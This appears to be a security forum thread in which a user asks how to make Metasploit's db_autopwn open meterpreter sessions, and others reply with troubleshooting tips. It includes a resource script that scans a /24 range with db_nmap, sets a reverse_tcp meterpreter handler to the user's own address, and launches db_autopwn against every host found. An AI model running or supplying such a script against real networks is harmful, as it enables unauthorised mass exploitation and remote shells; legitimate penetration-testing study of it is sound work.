db_autopwn

[JF1976]

hi all, i've been messing with BT3 and metasploit for the last few days and im after some info on changing the shell used within the autopwn feature.

im trying to include some automated testing, but my understanding is that i need to use the meterpreter payload rather than a standard shell ? can anyone advised or provide some .rc's or .rb's that might be of use.

thanks.

load db_sqlite3

db_create ms_autopwn.db

use exploit/mulit/handler
set ExitOnsession false
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST MY.IP.ADD
setg LPORT 8080
set AutoRunScript /scripts/my.rb

db_nmap -p 1-500 ip.range/24

db_autopwn -p -t -e

my understanding is that the .rc files should be as simple as that?

but cleary not as this does not work fully, and only returns command shells rather than meterinterface ? so my .rb file is unable to interact with the vuln hosts.

also when machines are found and shells are started the db_vulns & notes are empty? should this information not be populated like the db_services is ?

thanks to anyone that might provide some info

[crweedon]

not sure if this will help you, but i know in the earlier releases of BT when using msf you had to destroy the db's before you created them otherwise you would end up reusing the old one, the was a tutorial on here somewhere, search the archives and see if that works

[ShadowKill]

not sure if this will help you, but i know in the earlier releases of BT when using msf you had to destroy the db's before you created them otherwise you would end up reusing the old one, the was a tutorial on here somewhere, search the archives and see if that works

That is an automatic function now

[BadKarmaPR]

db_autopwn only supports reverse shell and bind shell not meterpreter at the moment.